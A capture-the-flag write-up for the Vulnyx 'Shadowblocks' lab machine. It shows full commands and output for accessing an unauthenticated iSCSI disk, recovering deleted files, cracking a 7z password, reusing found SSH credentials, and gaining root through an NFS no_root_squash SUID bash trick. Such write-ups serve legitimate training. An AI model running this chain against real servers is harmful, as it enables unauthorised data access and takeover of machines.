Post

Vulnyx Shadowblocks Writeup

Exploiting storage misconfigurations to compromise the Shadowblocks machine.

Vulnyx Shadowblocks Writeup

Reconnaissance — Port Scan

We start with a fast SYN scan across all ports to discover which ones are open on the target machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.15
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 18:09 +0100
Initiating ARP Ping Scan at 18:09
Scanning 192.168.0.15 [1 port]
Completed ARP Ping Scan at 18:09, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:09
Scanning 192.168.0.15 [65535 ports]
Discovered open port 22/tcp on 192.168.0.15
Discovered open port 3260/tcp on 192.168.0.15
Completed SYN Stealth Scan at 18:09, 26.38s elapsed (65535 total ports)
Nmap scan report for 192.168.0.15
Host is up, received arp-response (0.00040s latency).
Scanned at 2026-03-02 18:09:21 CET for 26s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
3260/tcp open  iscsi   syn-ack ttl 64
MAC Address: 08:00:27:A3:FE:DF (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.61 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 23 (996B)

Reconnaissance — Service Versions & Scripts

We run a deeper scan on the discovered ports to fingerprint service versions and spot potential attack vectors.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(suraxddq㉿kali)-[~]
└─$ nmap -sCV 192.168.0.15 -p22,3260                             
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 18:10 +0100
Nmap scan report for moto-pasion.thl (192.168.0.15)
Host is up (0.00036s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
3260/tcp open  iscsi   Synology DSM iSCSI
| iscsi-info: 
|   iqn.2026-02.nyx.shadowblocks:storage.disk1: 
|     Address: 192.168.0.15:3260,1
|_    Authentication: NOT required
MAC Address: 08:00:27:A3:FE:DF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.22 seconds

Reconnaissance — iSCSI Discovery

Since port 3260 (iSCSI) is open, we use iscsiadm to discover available iSCSI targets on the server.

1
2
3
┌──(suraxddq㉿kali)-[~]
└─$ sudo iscsiadm --mode discovery --type sendtargets --portal 192.168.0.15
192.168.0.15:3260,1 iqn.2026-02.nyx.shadowblocks:storage.disk1

Reconnaissance — iSCSI Enumeration

We grab further details about the discovered iSCSI target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(suraxddq㉿kali)-[~]
└─$ sudo iscsiadm -m discovery -p 192.168.0.15
# BEGIN RECORD 2.1.11
discovery.startup = manual
discovery.type = sendtargets
discovery.sendtargets.address = 192.168.0.15
discovery.sendtargets.port = 3260
discovery.sendtargets.auth.authmethod = None
discovery.sendtargets.auth.username = <empty>
discovery.sendtargets.auth.password = <empty>
discovery.sendtargets.auth.username_in = <empty>
discovery.sendtargets.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
discovery.sendtargets.timeo.login_timeout = 15
discovery.sendtargets.use_discoveryd = No
discovery.sendtargets.discoveryd_poll_inval = 30
discovery.sendtargets.reopen_max = 5
discovery.sendtargets.timeo.auth_timeout = 45
discovery.sendtargets.timeo.active_timeout = 30
discovery.sendtargets.iscsi.MaxRecvDataSegmentLength = 32768
# END RECORD

Exploitation — Mounting iSCSI

We log into the iSCSI target node. This action attaches the remote storage as a local block device on our attacking machine.

1
2
3
┌──(suraxddq㉿kali)-[~]
└─$ sudo iscsiadm --mode node --targetname iqn.2026-02.nyx.shadowblocks:storage.disk1 --portal 192.168.0.15 --login
Login to [iface: default, target: iqn.2026-02.nyx.shadowblocks:storage.disk1, portal: 192.168.0.15,3260] successful.

Post-exploitation — Inspecting New Disks

We run fdisk -l to identify the newly attached iSCSI disk structure and partitions (e.g., /dev/sda1).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(suraxddq㉿kali)-[~]
└─$ sudo fdisk -l         
Disk /dev/nvme0n1: 953.87 GiB, 1024209543168 bytes, 2000409264 sectors
Disk model: WDC PC SN730 SDBQNTY-1T00-1001          
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 0A295AA8-9E09-4568-BB6E-E87D10190005

Device              Start        End    Sectors   Size Type
/dev/nvme0n1p1       2048    2000895    1998848   976M EFI System
/dev/nvme0n1p2    2000896 1897277439 1895276544 903.7G Linux filesystem
/dev/nvme0n1p3 1897277440 2000408575  103131136  49.2G Linux swap


Disk /dev/sda: 150 MiB, 157286400 bytes, 307200 sectors
Disk model: shadowblocks    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 8388608 bytes
Disklabel type: dos
Disk identifier: 0x2566cb3e

Device     Boot Start    End Sectors  Size Id Type
/dev/sda1        2048 307199  305152  149M 83 Linux

Post-exploitation — Creating Mount Point

We create a directory to mount the newly discovered file system.

1
mkdir /mnt/iscsi_share

Post-exploitation — Mounting the File System

We mount the iSCSI partition onto our newly created directory, allowing us to interact with the files.

1
2
3
┌──(suraxddq㉿kali)-[/mnt]
└─$ sudo mount /dev/sda1 /mnt/iscsi_share
mount: /mnt/iscsi_share: WARNING: source write-protected, mounted read-only.

Post-exploitation — Examining File System

We navigate to the mounted directory and use tree to list all its contents, identifying interesting folders like backups and configs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(suraxddq㉿kali)-[/mnt/iscsi_share]
└─$ cd /mnt/iscsi_share 
  
┌──(suraxddq㉿kali)-[/mnt/iscsi_share]
└─$ tree
.
├── backups
│   ├── backup_february_2026.bak
│   └── backup_january_2026.bak
├── configs
│   └── storage.conf
├── docs
│   └── company_overview.txt
├── engineering
│   └── infrastructure_notes.txt
├── finance
│   └── budget_2026.txt
├── hr
│   └── employees.txt
├── logs
│   └── system.log
├── lost+found  [error opening dir]
└── random_fill.bin

9 directories, 9 files

Post-exploitation — Data Recovery

We use photorec on the raw disk partition to recover deleted or lost files, outputting them into /tmp.

1
2
3
4
5
6
┌──(suraxddq㉿kali)-[/mnt/iscsi_share]
└─$ sudo photorec /dev/sda1
proced
enter
whole
output /tmp

Post-exploitation — Analyzing Recovered Files

We examine the files recovered by photorec and find some compressed .7z archives and text files.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ ls -l
total 44
-rw-r--r-- 1 root root   480 Mar  2 18:21 f0018434.7z
-rw-r--r-- 1 root root   399 Mar  2 18:21 f0018436.txt
-rw-r--r-- 1 root root   358 Mar  2 18:21 f0018438.txt
-rw-r--r-- 1 root root   434 Mar  2 18:21 f0018440.txt
-rw-r--r-- 1 root root   274 Mar  2 18:21 f0018442.txt
-rw-r--r-- 1 root root   402 Mar  2 18:21 f0018444.txt
-rw-r--r-- 1 root root   282 Mar  2 18:21 f0018446.txt
-rw-r--r-- 1 root root   480 Mar  2 18:21 f0018448.7z
-rw-r--r-- 1 root root 10003 Mar  2 18:21 report.xml

Post-exploitation — Extracting 7z Hash

We use 7z2john to extract a crackable password hash from one of the retrieved 7z archives (f0018448.7z).

1
2
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ 7z2john f0018448.7z > /tmp/hash

Post-exploitation — Cracking 7z Password

We use John the Ripper along with the RockYou wordlist to crack the 7z archive hash, which reveals the password “donald”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ john  --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash 
Created directory: /home/suraxddq/.john
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 6 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 122 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
donald           (f0018448.7z)     
1g 0:00:00:05 DONE (2026-03-02 18:22) 0.1776g/s 187.5p/s 187.5c/s 187.5C/s marie1..stars
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Post-exploitation — Extracting 7z contents

We extract the 7z archive using the newly cracked password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ 7z x f0018448.7z -o/tmp    

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 480 bytes (1 KiB)

Extracting archive: f0018448.7z

Enter password (will not be echoed):
--
Path = f0018448.7z
Type = 7z
Physical Size = 480
Headers Size = 208
Method = LZMA2:12 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       338
Compressed: 480

Post-exploitation — Reading Credentials

One of the extracted files contains valid internal access credentials for the lenam user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ cat ../credentials.txt 
ShadowBlocks Internal Access Credentials
=======================================

System: Primary Storage Node
Environment: Production
Access Level: Administrative

Username: lenam
Password: 3vEbN3bM6NhOa1640weG

Note:
This file is intended for temporary migration procedures only.
It must be deleted after use.
Last reviewed: 2026-02-15

Lateral Movement — SSH Access

We use the discovered credentials to log into the server via SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ ssh lenam@192.168.0.15                       
lenam@192.168.0.15's password: 
Linux shadowblocks 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.73-1 (2026-02-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar  1 20:08:48 2026 from 192.168.0.11
lenam@shadowblocks:~$

Flags — User

Once connected, we read the user flag for lenam.

1
2
lenam@shadowblocks:/srv/nfs$ cat /home/lenam/user.txt 
c94a424c****

System Enumeration — Checking NFS

We examine /etc/exports and discover an NFS export configured with no_root_squash and insecure, which is a critical misconfiguration that allows privilege escalation.

1
2
3
4
5
6
7
8
9
10
11
12
lenam@shadowblocks:~$ cat /etc/exports 
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/srv/nfs *(rw,sync,fsid=0,no_subtree_check,no_root_squash,insecure)

Privilege Escalation — Port Forwarding

To exploit the NFS share, we first create an SSH tunnel to forward our local port 2049 to the server’s NFS port (2049).

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(suraxddq㉿kali)-[/tmp/recup_dir.1]
└─$ ssh -L 2049:127.0.0.1:2049 lenam@192.168.0.15
lenam@192.168.0.15's password: 
Linux shadowblocks 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.73-1 (2026-02-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar  2 18:30:40 2026 from 192.168.0.11
lenam@shadowblocks:~$ 

Privilege Escalation — Mounting NFS

We mount the forwarded NFS share on our local Kali machine as root.

1
2
┌──(root㉿kali)-[/tmp]
└─# sudo mount -t nfs -o vers=4,nolock 127.0.0.1:/ /tmp/nfs

Privilege Escalation — Copying SUID Bash

Since no_root_squash is active, files we create as local root on the NFS share will be owned by root on the target server. We copy /bin/bash to the share and give it SUID permissions.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/tmp/nfs]
└─# ls -l   
total 1352
-rwsr-sr-x 1 root root 1380656 Mar  1 20:12 bash
-rw-rw-r-- 1 root root       0 Feb 28 21:20 text.txt
                                                                                                                    
┌──(root㉿kali)-[/tmp/nfs]
└─# cp -v /bin/bash .
'/bin/bash' -> './bash'
                                                                                                                    
┌──(root㉿kali)-[/tmp/nfs]
└─# chmod +s bash   

Privilege Escalation — Exploiting SUID Bash

Back on our SSH session as lenam, we check the NFS share directory. The bash binary is now present with root SUID permissions.

1
2
3
4
lenam@shadowblocks:/srv/nfs$ ls -l
total 1352
-rwsr-sr-x 1 root root 1380656 mar  2 18:42 bash
-rw-rw-r-- 1 root root       0 feb 28 21:20 text.txt

Flags — Root

We execute the SUID bash binary with -p to maintain privileges, gaining a root shell to read the final flag.

1
2
3
4
5
6
7
lenam@shadowblocks:/srv/nfs$ ./bash -p
bash-5.3# cd /root/
bash-5.3# ls -l
total 4
-r-------- 1 root root 33 feb 28 02:34 root.txt
bash-5.3# cat root.txt 
402482f*****
This post is licensed under CC BY 4.0 by the author.